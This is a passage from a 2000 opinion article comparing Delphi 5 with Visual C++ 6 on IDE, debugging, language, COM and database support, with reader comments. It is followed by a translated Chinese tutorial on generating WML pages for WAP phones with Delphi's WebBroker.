One field in which the VCL is inferior is in its support and accommodation of multithreading. While the VCL supplies a class that is trivially easy to use for running worker threads, things get complicated when threads have to interact with the VCL, because most of the VCL is not thread safe. You have to resort to using a supplied Tthread class method called "Synchronize" that waits for the main thread to enter its message processing loop, and then updates the VCL within the main thread, or you have to use an alternate method like messages to communicate between the non-primary threads and the main thread. You can’t directly access any of the visual VCL components from within any thread other than the application’s main thread. MFC can handle multithreading without such ruses, in fact you can place message pumps within a thread and have a window act like its own thread.

The component model in Delphi has a very nice advantage over the Microsoft component model, ActiveX, and that is that Delphi components can be statically linked right into the executable. Not only is this more convenient (and much smaller) when it comes to deployment, but it also means the components share in the benefits of modern linker intelligence. If you use one small bit of functionality from a large extensive component, you only suffer the overhead of the functionality you actually use, and that functionality will be optimized with your code to boot. To get the equivalent in Visual C++ you would need to have the code itself, which works OK for freely distributed code but not so well for commercial components. In addition, these kind of C++ code libraries tend to be much more expensive than their equivalent Delphi components.

There are plenty of third-party Delphi components that don't come with Delphi, and most of these come with source code. While the components that come with Delphi or the supplementary CDROM are stable and tested, components from other sources may vary quite a bit in quality. Creating advanced Delphi components is an interesting intellectual challenge that may exceed the attention spans for some individuals, resulting in components that make Delphi unstable. Delphi doesn't run component code inside any kind of protective sandbox, and so an errant component can pull Delphi down into oblivion. The most common manifestation of an errant component is that Delphi will not close down gracefully, maybe even giving an endless cycle of access violations that requires a hard reboot. While this is rare, if you try enough components from unknown sources and/or beginners, you will eventually run into the problem. This will be the first question an experienced Delphi programmer asks you if you complain that Delphi is unstable: "What components did you install?" Ninety nine times out of a hundred it is some component that is causing the problem. All such third-party components should be thoroughly checked out before being used in any important Delphi program.

IDE

It is in the IDE that VC++ 6 comes the closest to Delphi 5, as both have heavily incorporated the intellisense features that first debutted in Visual Basic. In Visual C++, the method completion feature that pops up when you type a class or object name and ".", "::" or "->" has a nice additional feature that shows fly-by hints for each item in the drop down listbox, a feature Delphi lacks in its version of intellisense. Visual C++ also has automatic formatting as you type (though it is not as advanced as Visual Basic’s, which will even correct or respond to your changes in the capitalization of variable names). Delphi has no automatic formatting. In addition, Visual C++ seems less memory and resource intensive than Delphi 5, which has sometimes frozen on my Windows 98 machine with 96MB of RAM when I forgot to close other programs that were running at the time. Delphi 5 takes a seeming infinity to start, and after a few debugging sessions seems to take an infinity to close, often j ust dying out with access violations or illegal operations if Program Reset was used to cancel out of one or more debugging sessions. Delphi doesn’t use a virtual machine to isolate debugging sessions nor component code and the result in Windows 98 seems a tad precarious, at least on my machine. It seems that the two competing forces of high resource use and components and debugging sessions not being isolated are a bit too much for the jerry-rigged operating system known as Windows 98. Often an errant Delphi program can pull Delphi down with it. I have sometimes seen this happen with Visual C++.

Those caveats aside, The Delphi 5 IDE offers several very nice advantages over the Visual C++ 6 IDE. Once you step away from the VB-inspired intellisense, the Visual C++ IDE starts to show its age.

In contrast to Borland’s clean "two-way tools" the proprietary comments cluttering VC++ code from the Wizards are kludgy and incredibly dated. Where Delphi offers a nice clean Object Inspector to set properties and event handlers, Visual C++ is still relying on the ClassWizard from five years ago, back when cluttering code with all sorts of "do not touch!" markers was how all code generators worked. While it may have been innovative back then, it is just an anachronistic annoyance now. Code generated by Delphi has no markers at all and there is never a disconnect between the tools and the code no matter how many changes one makes. The mechanism in Delphi simply works better and the code is much, much cleaner and therefore easier to change and maintain. In Visual C++ the ClassWizard can become downright useless if any of the proprietary code markers are accidentally altered.

As an editor, the Delphi IDE offers several advantages as well. Unlike the class view in Visual C++, the code explorer in Delphi operates on any file that is opened, whether or not it has been added to the project yet. In addition, the code explorer is accessible during debugging. That is very convenient when porting code between projects or looking at code samples. In addition, it shows other useful information, such as what other files the current file is directly dependent on. A separate browser is also available in the IDE, which does require a compile, and is not visible during debugging, if one wishes to see references and the inheritance tree. This browser is different from the browser in Visual C++, with the predominant difference being that it doesn't disappear once you click on a reference. Another very useful Delphi IDE feature is class completion, which creates declarations for undeclared definitions, creates skeleton definitions for undefined declarations and automatically creates the access methods and procedures for properties. This is really convenient when writing a bunch of method definitions. A single key-stroke will toggle between a declaration and definition. Delphi also offers code browsing, where you can go forward and backward through code references the same way you can go back and forth through hyperlinks on the internet. You pause the mouse over an identifier and press the Ctrl key. The identifier becomes a hyperlink to its definition. Click and you are there, with a highlighted "back" button in the IDE to take you back. This is like a multilevel reference browser, where you can trace deep into a tree of function calls and then quickly retrace your steps back home. Visual C++ has nothing like this, though you could achieve the same result in Visual C++, with much more work, by using bookmarks and the browser (which you could also use in Delphi).

Together the collective result of all these Delphi IDE innovations is a much greater, much more holistic understanding of the code than you will usually get using the Visual C++ IDE.

In addition though there are other nice touches to the Delphi 5 IDE that go beyond this. A code template feature lets you store code snippets that can be retrieved with simple keystrokes, like live macros that expand during editing. A ToDo list is integrated into the IDE which makes it very convenient to use, offering a type of project/feature tracking. You can associate to-do items with specific locations in the code or with the project in general. Getting help on any specific item in code is also more convenient, as it takes only a right click and menu selection. If you select an identifier this help look-up is intelligent enough to know to look up the identifier’s type rather than engage in a futile search for the identifier string itself. In Visual C++ you have to copy the name of the item you want to look up, and then open up the help system (a localized MSDN) and paste the string into a combo-box. Unfortunately, you often must engage in an additional step of limiting the scope of the search or you will end up with all sorts of J++ and VB references that do no good. This marks the major difference between Borland and Microsoft help systems. The Microsoft help resources are massive, but this makes finding relevant information unduly time-consuming, whereas the Borland help systems are more specialized to the task on hand. I prefer the Borland approach, as I can always use a mere two mouse clicks (or one keystroke) to get the information I need. It is my personal opinion that MS should include more code samples for specific help items, instead of large project-scale samples. Another nice feature of the Delphi IDE is that the project manager shows the full absolute path for project files. In Visual C++ if you need to move files around you may be dismayed to discover that while the project files and IDE are using absolute path names, they do not update these nor show you these absolute path names. As a result, forking code can be catastrophic, as the new proje ct still relies on the files from the old project location even though the IDE gives no visual clue to this fact. In Delphi, you can freely move projects around without having to do any manual fix-ups, as Delphi uses relative paths and in any event shows you the full absolute paths it is using. In Visual C++ it usually just isn’t so easy. (BTW, the project window in Delphi now supports multiple executables and projects, even allowing convenient drag and drop of files) The Delphi IDE has another unique feature in that you can save multiple "desktops", which are layouts, whereas VC++ 6 will only save and use one layout. You can switch between desktops simply by selecting the new desktop in a combo-box on the Delphi toolbar. The IDE will automatically switch to the user-configured "Debug" desktop when debugging. The Delphi IDE also makes it much easier to work with the Version Information resource for your executable, as well as optionally auto-incrementing the build number in the version number. Boo kmarks in Delphi are a little easier to use than in Visual C++, as they are available in the right-click menu, and they do not accumulate across different sessions. In Visual C++ my bookmarks list is now several dozen long and deleting them only temporarily deletes them, with the deleted bookmarks returning in the next session.

DEBUGGING

When it comes to debugging there are some major differences between Delphi 5 and Visual C++ 6, which can be summed up by saying that Delphi's hunger for windows resources can cause problems for debugging applications under Windows 95/98. Some of the additional features in Delphi 5 make certain debugging tasks much, much easier. Delphi has all the debugging features found in Visual C++, but adds several more. In Delphi, you can set breakpoints on the loading of DLL’s so that you can see the exact line of code that precipitates the module load. Then you can look through the module view and see what the DLL exports, the absolute path of the DLL’s that are being used, as well as the code files used by your executable. You could even go right to the assembly language in the DLL’s that corresponds to the exported symbol of your choice. In addition to the "Module Load" breakpoints, there are also "Data Breakpoints" that will trigger when a specific variable is changed. All breakpoints in Delphi can be conditional, can execute an expression, log to the event log, and can enable/disable groups of breakpoints or all remaining breakpoints. In fact you could choose to have a breakpoint simply log an expression and go on without stopping. Delphi 5 has full provisions for remote and DLL debugging. In addition, the inspectors in Delphi allow you to change any variables you wish at any point, something that Visual C++ very frequently balks at, without explanation.

As mentioned previously, in Delphi you can access the code explorer that gives you a convenient point and click tree structure for browsing code, which is equivalent to the Class Explorer pane in Visual C++ 6.0, whether you are editing or debugging. In Visual C++ the equivalent pane is not visible during debugging sessions, though you will often have the greatest need for it at that point.

Delphi also has data breakpoints and a very useful thread view, both of which can be very handy when trying to track down elusive bugs. (The Visual C++ thread view is a modal dialog box, which reduces its usefulness) I have found the integrated to-do list functionality very useful during debugging, as I can make a note of the bug right then and there in the IDE.

No discussion of debugging would be complete without at least a passing comment on Visual C++’s "Edit and Continue" feature, which originally debutted in Visual Basic. The idea looks good on paper and in marketing blurbs, but in practice the feature is often virtually useless. The main problem with this feature is that it requires the incremental linker, which itself is not reliable in my humble opinion. I have seen too many instances of the incremental linker (and partial builds as well) simply not fully incorporating all changes to code. Even if you get past the need for accurate compiles you are faced with the fact that there is no way the compiler could recreate the full results of any code change if it occurs in the middle of a multiply iterated loop, for example. The third problem I had with the "Edit and Continue" feature was that I could never get it to work very well. The most common problem would be an inability to invoke the incremental linker for some reason. This marke ting feature is simply not good enough nor robust enough to offset the loss from the frequent inability to alter variables during debugging.

Another advantage of Delphi over Visual C++ is the difference in compile and link speeds, with Delphi’s blinding speed being a huge advantage here. The fastest C++ partial compiles/links are still several times longer than Delphi full compiles/links and this can make a big difference when one is trying to fix and test bugs quickly. The rapid turnaround possible with Delphi makes rapid-fire debugging possible, while debugging with Visual C++ is hobbled by the slow C++ compiles.

LANGUAGE

Both Object Pascal and C++ are full Object Oriented languages. Both languages also have roots in procedural languages that preceded the integration of Object Oriented principles. This means that both languages allow you to incorporate Object Oriented principles as little or as much as you want, subject to certain caveats I will cover very shortly. There is a common misperception among many Visual C++ programmers that Delphi is just like Visual Basic, but using Pascal instead of Basic. This is not true. In the spectrum of languages, in many ways Object Pascal is to Pascal what C++ is to C. Both languages are rich enough that an intelligent, inquisitive person will find themselves unlimited by the language. Object Pascal is in the same league as Java and C++. Some say it is easier to learn than C++, but this is hard for me to gauge, as I already had several years of experience in C++ by the time Delphi came out. One thing that can be gleaned from the newsgroups and discussions with novices is that it is indeed harder to learn Object Pascal than Visual Basic.

A person who knows only one of these two languages does themselves a great disservice by not learning the other. Object Pascal and C++ are full and rich languages that each have their interesting and challenging idiosyncrasies and hidden treasures. Each language has a different feature set, and so require of the good programmer that he approach the same problems in different ways. I personally find that knowing and using both is a good way to keep oneself interested and open in programming as an intellectual exercise, an art, and a career. If, like myself, you feel that "real programmers" know at least two different computer languages well, these two are extremely good candidates for one's toolbox. There is no significant loss in power in going from either one to the other.

Avoid falling for the common misperceptions that Object Pascal is a "toy language like VB" or that C++ will be forever luring the gullible programmer into wild pointers and memory allocation errors that are impossible to fix. I have been using Object Pascal since Delphi came out and I have not run into any of the types of limits that programmers associate with beginner's tools like VB. Likewise I have been using VC++ in my career and I haven't had a single wild pointer or memory allocation error in the past year or so, despite coding a complete commercial app and it's update in that time. Both languages are more than adequate for most of the programs you will need to write, and are complex enough to keep inquisitive minds entertained.

There are some important caveats to keep in mind however. Both Delphi and Visual C++ come with frameworks for creating Windows programs and both tools bend their language around their framework or for its benefit. Visual C++ does not by default create nor read ANSI C++ if you use MFC. You can tweak ANSI C++ code to get it to compile in both ANSI C++ compilers and the Visual C++ compiler with MFC, but you can not take MFC-based Visual C++ code and use it in anything other than the Visual C++ compiler. (There is one exception to this, in that C++ Builder 5 has an MFC compatibility switch for it's compiler.) Likewise, Object Pascal created in Delphi is also mostly proprietary. It can compile most generic and old Pascal code, but it doesn't create it. In both cases, there are third party paraphenalia that attempt to remedy these limitations, but there is inevitably the additional possibility for mischief in these schemes.

Object Pascal is a language created and used exclusively by and for Delphi and as such it represents are far greater departure from traditional Pascal than is represented by the departure of Visual C++ from ANSI C++. It also fits Delphi's VCL far more tightly than the C++ created by Visual C++ fits MFC. Because there is not even any pretense to an ANSI-like standard for Object Pascal, Borland has freely adapted Object Pascal to Delphi's needs. The result is a language that gracefully accomodates the Property Method Event model embodied in Delphi and makes it easy to create robust readable Windows code. On the other hand, Microsoft had to minimize the changes to C++ that would accomodate MFC, and the result of this, and the fact that MFC is much older than the VCL, is that a more procedural methodology results in the use of macroes, untouchable cryptic markers in comments and things like the "message map", which is an untouchable but visible block of code that matches messages with functions. The Delphi approach is far cleaner and easier to create, read and maintain, without sacrificing the power to get under the hood and fiddle with the works if one so fancies. This reflects an apparent design philosophy in Delphi that the language should be subordinated to the goals of the tool, rather than the tool being subordinated to the goals of the language.

Aside from this, there are important differences that may be benefits or costs, depending on your point of view. Object Pascal does not offer multiple inheritance, templates, operator overloading, inline functions, preprocessor/macroes, globally accessible static class variables, nor nested classes. C++ does not offer virtual constructors, embedded procedures, sets, built-in messages, built-in interfaces, built-in OLE automation, built-in strings, or the "finally" construct. None of these are real impediments in either language, as alternatives exist for all of them that are more than adequate in creating the same results. For example, in Delphi the default calling convention is the register convention which passes parameters via registers instead of the stack (thus usually avoiding the creation of a stack frame altogether), avoiding the same overhead avoided by inline functions.

C++ and Object Pascal have a great number of syntactical differences, but this should not lead one to conclude that they have great number of conceptual differences. A C++ programmer who already knows Object Oriented principles will find it rather easy to learn Object Pascal. Because the same concepts apply to both languages, the only real differences are in the implementation of those concepts. This conceptual overlap not only provides the seasoned C++ programmer an easy entrance into Delphi programming, but it also means that knowing and mastering both languages will thereby strengthen his knowledge and appreciation of those underlying Object Oriented principles.

COM

Delphi has a fair number of components, language features and classes for writing COM/OLE/ActiveX programs, components and servers, with particular strength on the creation and use of objects rather than servers, though Delphi 5 did add some significant improvements to the support for COM servers. Using COM objects in Delphi can be as trivially simple as in Visual Basic, or as complicated as you want. The Delphi approach to COM is thoroughly component oriented, in fact a Delphi wizard will create components on the pallette that wrap around ActiveX controls and servers, so that you can drop them on your forms and set their properties in the design-time Object Inspector as if they were normal Delphi components. This is an entirely different approach than one finds in Visual C++'s ATL, because it is much more RAD in it's philosophy than the ATL, and seasoned ATL users may unfortunately see the Delphi approach as indistinguishable from the Visual Basic approach. It would be incorrect though to assume that the Delphi system is a limited black box like the Visual Basic system. All the code for the COM related classes is available, one can use inheritance to alter most of the behaviour, and the Delphi COM classes are layered enough that you can choose from several different levels of abstraction. The highest levels of abstraction so encapsulate the details of COM that you can use COM without knowing COM, for better or for worse. Before the ATL, COM in Visual C++ was a lot of work that often were exercises in frustration for many, particularly those who don't have much knowledge and/or experience in COM. The ATL has greatly simplified and lessened this burden, and in the hands of experienced programmers seems to be more than up to the task of creating COM servers and controllers, but it is impossible to improve upon the simplicity offered by Delphi, which sacrifices nothing in therms of power.

It is important to realize that these two different libraries, the VCL and the ATL, seem to have been designed with different goals and philosophies in mind. The VCL seems to have been designed with more emphasis placed on the creation and use of COM/ActiveX controls and controllers, with the ATL being better suited to the creation of COM servers. However, in this most recent edition of Delphi, Borland has tried to position Delphi as a better creator of COM servers than before. Differences in architecture and philosophy remain though, and are significant enough to present a delightfully challenging intellectual exercise for anyone crossing over from one to the other. Interfaces are a built-in feature of Object Pascal, which leads to some very clean, easy to read code. COM Interfaces in Visual C++ are not built-in to the language but so are not as cleanly coded, but work quite well too. However, Delphi interfaces support multiple inheritance, though Delphi classes do not. This disparity means that one can not descend from both a class that provides the implementation for the interface methods and another class that provides the implementation for the methods in one of the other interfaces from which it inherits. Instead, one must use a VB-like approach where one integrates an object of this other class into the target class as a private member and assign it as the implementation for the interface using an "implements" keyword. This may put off seasoned C++ programmers who will be scratching their heads wondering why true multiple inheritance couldn't just be added to Object Pascal to more easily accomodate interface implementations instead of requiring them to use this VB-style workaround. More than anything else, this curious situation seems to be a good reason why, though Delphi is better for COM controllers, Visual C++ seems better for COM servers, at least those inheriting a significant amount of their functionality from a pre-existing code base.

COM code in Object Pascal is far cleaner and easier to read than in C++, due to the way interfaces are built right into the Object Pascal language.

PERFORMANCE

If you are like most Visual C++ programmers you would say that code created with Visual C++ will most likely be faster because "everyone knows that Visual C++ is what you use when you need speed". You would be wrong to make such a blanket assumption about Delphi's ability to produce optimal code. See Jake's Code Efficiency Challenge for real world examples of attempts at optimal code in both languages. The compiler and linker in Delphi is on the same par as the Visual C++ compiler and linker, producing fast, rather well-optimized code. Granted, one has more optimization choices in Visual C++, being able to optimize for size or speed, or to toggle individual optimizations, and there are certain speed oriented C++ code features like inline functions that have no equivalent in Delphi. However, given all this it remains the fact that there is no significant difference in the speed of the code created in Delphi versus Visual C++.

What is a fact is that there are idiosyncratic weaknesses in the code libraries that can impede code efficiency. In the case of Delphi, the compiler and linker are top notch, but some parts of the VCL are not so strong when it comes to manipulating strings, such as the StringReplace function which results in timings that are two to three times their Visual C++ CString::Replace equivalent. Likewise a stray container choice can decelerate string manipulations in Visual C++, such as using CStringArray instead of CStringList. Careful coding (and time-testing the code) can have a big payoff in both tools.

DATABASE SUPPORT

It is in database support that Visual C++ really lags behind. While Delphi offers drag and drop simplicity in creating database-centric user interfaces, Visual C++ requires the user to code almost everything themselves, from beginning to end. The difference here results in several orders of magnitude of difference in productivity. While Visual C++ programmers are busy looking up how to create a connection string for ADO, Delphi programmers will already be unit testing their creations.

Database support in Delphi 5 Pro, comes in several categories, the Borland Database Engine, the ADOExpress Components for native ADO, and the InterbaseExpress components for Borland's (soon to be Open Source) Interbase. All three support the drag and drop database-aware controls that come on the Delphi pallette, which include edit boxes, lookup comboboxes, grids and so on. The Borland Database Engine supports SQL for local desktop databases like Paradox, DBase, Access, ASCII, Local Interbase and anything for which you have an ODBC driver. The Borland Database Engine offers a plethora of features such as bidirectional scrolling, cached updates, connection control, transaction control, etc. even for databases that do not offer these features themselves. Support and unlimited licensing for Paradox and DBase tables is included straight out of the box for you to use in your applications without further fuss or expense. The only problems with the BDE is that it is based on a set of DLL's thart you must distribute with your app and install using a tool like InstallShield, and this set of DLL's has a rather large footprint of several megabytes. The new ADO components in Delphi are wrappers around ADO, which like ODBC, can access anything for which there is a driver. While ADO is a thinner database interface than the BDE, and not as easy to use, it offers the advantages of being familiar to Visual C++ programmers, coming with the new Microsoft operating systems, and offering a popular standard interface for Windows-based database access. In addition, the ADO components in Delphi are statically linked right into the executable, requiring no additional DLL's to be distributed to PC's that already have ADO. The ADO components in Delphi connect to the database aware controls on the Delphi component pallette just as easily as the BDE components, for drag and drop ease in setting up user interfaces for ADO-based applications. Finally, Delphi also comes with native Interbase controls for using Interbase as the SQL database to which database aware user interface controls can be connected. This has the potential upside that, because Borland has decided to make Interbase Open Source, these components will allow a programmer to quickly set up user interfaces for a free heavy-duty database they can freely distribute with their applications. Delphi 5 Pro also comes with Borland's Web Broker technology which makes it easy to use these database access methods and components to create database-centric web pages and HTML interfaces for access from any browser.

Visual C++ comes with code libraries that ease, but don't eliminate, the burden of writing your own ADO or OLE DB code. ActiveX controls that interface with these libraries allow programmers to put a visual user interface into their VC++ programs, but don't offer anywhere near the speed and ease that Delphi offers for database programming, and must be distributed along wth the app. Visual C++ has nothing for Paradox or DBase tables, and no desktop databases come in the box for you to use and distribute if you buy Visual C++ pro by itself, though it will interface with Access if you obtain it separately. While Access is rather lightweight compared to Paradox tables, it might be adequate for many needs. Visual C++ will interface well with MS SQL Server and any database for which a C/C++ API exists, but still requires non-trivial coding to connect database data with the user interface. Microsoft has not announced any plans to make their SQL Server database open source.

CONCLUSIONS AND RECOMMENDATIONS

The choice of a development tool is dependent on several different factors, some of which have nothing to do with the technical merits of the tool itself. No program is ever written in a vacuum, without being affected by outside forces. Programmers will often argue for their favorite tool as if it will be used in it's ideal setting, with perfectly experienced developers wielding it with grace and might. The reality is often starkly different from the utopia taught by such zealots. The factors to be considered in choosing between Delphi 5 and Visual C++ 6 include:

Existing Skill Set: The learning curves for both C++ and Object Pascal imply a start up cost that must be weighed in when programmers will be using them as novices. According to various sources there is as large as a 10 to 1 differential in the productivity of programmers. By the apparent consensus among many Delphi programmers, Delphi allows 2 to 4 times more productivity than Visual C++ overall, and the opinions among those Visual C++ programmers who have tried Delphi appear to be that the differential is much less than that. The moral of this story is that if you can find experienced, good programmers, you should probably consider using whatever tool for which they are experienced and skilled. Their skill differential may outweigh the tool differential, if they are highly skilled in one tool and know nothing about the other. Unfortunately, the reality of the marketplace is that the best programmers are very difficult to find and 9 chances out of 10 you'll end up with a rookie who has lied on his resume. Since Delphi is gentler on novices than Visual C++, this would seem to be a point in Delphi's favor, unless you already have a pool of experienced skillful programmers. Experienced, skilled Delphi programmers will demonstrate greater productivity than experienced, skilled C++ programmers, if you can find them. Existing Legacy Code: Rewriting code from scratch is an invariably expensive process, in the short run. Despite all the implied benefits of OOP for code reusability, reusing already existing code will cut more time off a project than anything else. Copy and paste in VC++, and drag and drop in Delphi, are still the predominant form of code reuse, and the more of a project's code can consist of already-written code the more of a headstart you'll have. Programmers are notorious for wanting to rewrite everything in their own image and seem to almost universally suffer from the "not invented here" syndrome. This personality trait is very expensive. The person who walks into a place that has an already functional product that meets their needs and says he will completely rewrite the product from scratch using the latest OO techniques is a would-be charlatan who will drain your pocketbook in search of the Holy Grail of programming purity. This point also applies to those who refuse to use components and component based systems. Components represent the ultimate standardization of code reuse, and Delphi does components much more effectively than Visual C++. The Nature of the Required Programs: Both tools have their particular strengths when it comes to specific types of programs. Delphi is vastly superior to Visual C++ for the creation of database front-ends, as well as the rapid creation of rich, effective user interfaces. In addition, in those areas in which pre-existing Delphi components exist that are robust and powerful, Delphi again has the strong advantage. This includes internet and intranet applications, charting and reporting, database access, and advanced user interfaces. Where Visual C++ has an advantage is the creation of device drivers, COM servers, scientific, mathematical, and statistical applications, console mode programs, WinCE applications and small utilities. These disparate advantages fly in the face of the trend among development houses to standardize on a single development tool for all development. Rather, maximum productivity would be attained by mastering both tools and using whichever one was best suited for a given application. There is absolutely no reason why any good programmer could not be proficient and productive in both languages. Future Portability and Extensibility: As of this writing, the only area in which there is anything approaching certainty is that Borland has announced that their C++ Builder and Delphi products will come out in a Linux version in the middle of the year 2000 and that there will be an attempt to minimize the effort needed to port applications from the Windows versions of these products. While Borland has been uncharacteristically vocal about their plans for the future, Microsoft has been uncharacteristically mum about the future. What is known is that whereas it used to be possible to write Visual C++ apps for the Intel and Alpha chips, NT for the Alpha chips is now being dropped. This leaves WinCE for multiple platform Visual C++ programming. Unfortunately for this cause, WinCE is doing poorly in its market. In addition, it seems rather adventurous and probably unwarranted to believe that Microsoft will port Visual C++ to non-MS operating systems any time soon, given their track record so far, leaving adventurous cross-platformers to the ravages of third-party hacks and intermediaries. Borland, on the other hand, seems positively giddy over Linux lately. Also, on the database front, Borland has recently announced that their database, Interbase, will be open source (read "free"), and that they will be improving the integration of Interbase with Borland tools.

Copyright 2000 by John M. Jacobson. All Rights Reserved.

Comments to this article
Write a new comment
Super!!!
Stefan Pantazi (Sep 18 2001 3:37AM)

I have been using Object Pascal and tried several times to move to C++ but I have never suceeded. Why? Delphi seemed easier to use and more productive for me. This article really gives me the proof that it wasn't just a subjective judgement.
By the way, while writing an application I do have a "bad habit" of compiling it thousands of times... (I think every 5 minutes or so).
Thanks
Respond

Great article
Dirk Matiack (Jun 6 2001 6:39AM)

You did a great job in writing this article !!!

At the moment I am using VC++ 6 - what I miss most is Delphi 5's online help !!

Dirk
Respond

Very Good
William Egge (May 31 2001 11:36AM)

I am impressed at such a long comparison.
Respond

WOW
Wes V (May 12 2001 7:46AM)

I am impressed................
Respond

Excelent article!
Wouter van Wegen (Jul 22 2000 6:24AM)

a bit long, but excelent content, and i love what the conclusions told me as a delphi 5 programmer.!!
Respond

Not jet ready...
Bernhard Angerer (Mar 5 2000 5:10PM)

This article is still worked out. As soon as it is ready the full version will be posted !
Respond

RE: Not jet ready...
Stefan Walther (May 2 2000 2:00AM)

FINISHED NOW
Respond


CSDN_文档中心_wap!delphi能做到！—— 应用于移动电话的WML(Wireless Markup Language）开发

wap!delphi能做到！——
应用于移动电话的WML(Wireless Markup Language）开发
河南省
本文作者：Jani J vinen
翻译整理：崔凯

众所周知，delphi有创建HTML文件的能力。然而，你知道吗？delphi也能用来创建一些新的WAP(Wireless Application Protocol) 设备所需要的WML文件。

这篇文章中，你将学习到如何创建一个快速的，使用一个wap电话或者是一个模拟系统的定制查询系统。现在来让我们来超越一下我们自己，来，让我们从头开始。

WAP是最新的可支持WAP的第三代移动电话所使用的协议。很多人都认为：WAP将把internet带入移动电话中去,这不完全正确；毕竟，现在我们还不能使用WAP来实现网上冲浪。WAP所能做到的无非是让你检索到和显示为WAP电话而专门开发的特殊文件。这些文件是使用WML语言来编制的。

WML语言和html语言类似，尽管还有很多格式化操作例如：嵌套表，层，颜色，还有不一样的打印字体等，这些还不能应用到WML中。但WML确实允许开发人员定义简单的文本格式，如：图像，链接，和文本输入的字段。它之所以只有这么简单应用，关键原因在硬件上。因为现在的移动电话还不能先是如此丰富的格式化操作。现在的移动电话只是使用很少的像素显示（大约是200*200），并且刚开始只能使大约4种灰色调，现在可以显示彩色了。这时，就需要一个新的标记语言来做这种电话的软件应用，因为，当前的HTML文件不能适合这样的屏幕了。这就是WML.协议。

WAP设备是通过标准的URL（ Uniform Resource Locator ,在Internet的WWW服务程序上用于指定信息位置的表示方法）来访问的。当WAP设备的使用者在他的WAP移动电话或者是其他设备上输入URL的时候，这台设备开始跟一个为它服务的WAP网关通过无线电波联系。

一个这样的网关通常会是由移动通讯设备操作人员的一台主机来代替，例如：MCIWorldCom或者是Sprint（截稿时，这两家公司的合并正悬而未决，但股东们已经基本同意了）。这台网关计算机除了接收移动电话的请求，并通过HTTP协议把它转到通常的INTERNET上去。在这里，那些设备提供WEB服务，它响应这些请求，并且把相关的WML数据返回到这台网关计算机上。这时，这个网关计算机在把相应的WML文件返回到发出请求的移动电话，最终在WAP移动电话的使用者面前显示这些文件。这就是整个通讯的全过程。

注：MCIWorldCom和Sprint都是美国著名的通讯公司，而在中国，是由中国移动通讯公司扮演该角色。

由于在INTERNET上使用HTTP协议来访问WML文件，所以WAP技术不需要设备提供商提供特殊的软件和硬件设备。一般的WEB服务，例如Apache和IIS（Microsoft Internet Information Server），都可以配置成适当的WML文件。而且，一个单一的WEB服务可以同时服务HTML和WML页面，正如WEB服务可以服务于各种不同类型的文件，例如：gif,jpeg,zip等。然而，应当制定一个单独的（虚拟的）WEB服务来为WAP服务，因为这样能使的用户更容易的记着那些URL.语言

---- WML是一种使用XML语法的语言。这意味着WML可以使用任何文本编辑器来写，甚至可以使用Notepad。而且，WML类似于HTML，许多WML标识符，例如：< b >, < i >, < big >, 和< a >都和在HTML中有着几乎完全相同的意义。以下代码是一个WML的例子：

< ?xml version="1.0"? >
< !DOCTYPE wml PUBLIC "-// WAPFORUM// DTD WML 1.1
// EN" "http://www.wapforum.org/DTD/wml_1.1.xml" >
< wml >
< card id="welcome" title="Welcome to" newcontext="true"
ontimer="#login" >
< timer value="30"/ >
< p align="center" >
< big >MA's On-line< /big >< br/ >
< em >Order Query System< /em >
< /p >
< /card >
< /wml >
---- 以上是一个使用WML 1.1版本编程的例子
---- 有一点WML和HTML不一样的地方是：在WML中一个文件不是像在HTML中叫做文件，而是叫做卡片组（deck）,一个卡片组是有一个或者更多的卡片（card）组。WAP手机屏幕上一次只能显示一张卡片，而且它仅仅能显示几行文本。

---- 现在的WAP手机一次只能处理小于1K字节的WML代码。所以，用WML写出来的代码必须非常小。并且，由于在WAP手机屏幕上显示的文本数量很有限，所以每一个WML代码必须很短。

---- 如果一个WAP卡片上的数据不适合屏幕大小的话，用户被迫滚动滚动条才能看清楚屏幕上的内容。现在最好的WAP手机不需要扩展的滚动条，与之相适应的是上面提供的都是小块的信息。用户现在可以在不同的窗口中通过前后翻屏的的操作浏览网页。

---- 浏览时用户可以使用一般的超文本链接，就像在WINDOWS中称之为任务条的东西，它可以使用一些特殊的用WML标识符编写的< do > 命令。

---- 例如,标识符< do type='accept' > < prev/ > < /do > 将允许用户在WAP设备中向后浏览网页。

---- 为了使用更为丰富的命令，而不仅仅是向前或者是向后浏览网页，WML可以被扩展成一种脚本语言，成为WMLScirpt. WMLScript就类似于在html世界中的JavaScirpt脚本。但是当然了，它的功能还很有限，但他仍然能够满足用户的输入，进行简单的计算，或者设置WAP浏览状态等的要求。开发工具为帮助用户实现WAP的解决方案，Nokia已经开发了一个基于java的wap 开发工具。它可以用来创建，测试，或者是调试wap设备。（请看下图）

---- 一个wap开发工具模拟一个真正的wap手机和微型浏览器。这个开发工具允许从磁盘或者是interner上载入任何类型的的wml 文件。当载入后，这个wap仿真系统处理该文件并将它显示在屏幕上。这时，开发人员可以使用移动电话的按钮来输入文本，选择选项和进行wap设备的定位。
---- 导航条可以通过使用书签来实现，这是这个开发工具本来就支持的。事实上，书签只是使得开发者的工作变得简单化的一个简单例子。例如：这个开发工具允许实时监视使用WML和WMLScirpt语言创建的各个变量。正如同在delphi中的'watch'窗口。虽然这个开发工具提供的功能非常有限，毫无疑问的，这个实时查看变量的功能使得开发者调试WML代码更加容易。

---- 由于这个开发工具允许开发者在标准HTTP协议下载入任何类型的文件，所以说，这个仿真系统是一个相当棒的测试运行在一台WEB服务器上的交互式系统的工具。当然了，这些页面都可以动态创建。DELPHI5通过内嵌的WebBroker技术来对构建web解决方案提供了很好的支持。通常， webbroker技术是用来创建动态的html解决方案，现在有很多流行的web服务器都采用。然而，由于它的灵活性，webbroker技术也可以用来创建WML。

---- DELPHI的解决方案

---- 又一个可提供下载的例程：是一个ISAPI的DLL程序。它可以在IIS3.0或者是更新的版本上运行，详细介绍这个ISAPI 的DLLS的文件超出了本文的范围，但是你可以在INTERNET上找到关于ISAPI的详细信息。其中最好的源代码是在 http://www.delphizine.com/include/Click_Redir.asp?Url=http://msdn.microsoft.com/. 上的Microsoft Developer Network (MSDN) 。需要查看调试ISAPI的DLLS的信息，请访问： http://www.delphizine.com/features/ 2000/04/di200004jj_f/di200004jj_f.asp#SidebarOne 在其中查看工具条"Debugging ISAPI DLLs."

---- ISAPI DLLS的缺省返回的是一般的HTML代码，它可以人工创建，也可以在DELPHI中的页面处理控件使用。当然了，最大的优点是DELPHI允许它很容易的连接到数据库，它可以查询到插入到HTML代码中的数据。我们的例程确实是这样实现的，它查询一个数据库，创建一个包含信息的WML，并且将查询的结果返回给用户。直接的说，例程使用的是在DELPHI中的DBDEMOS数据库别名。

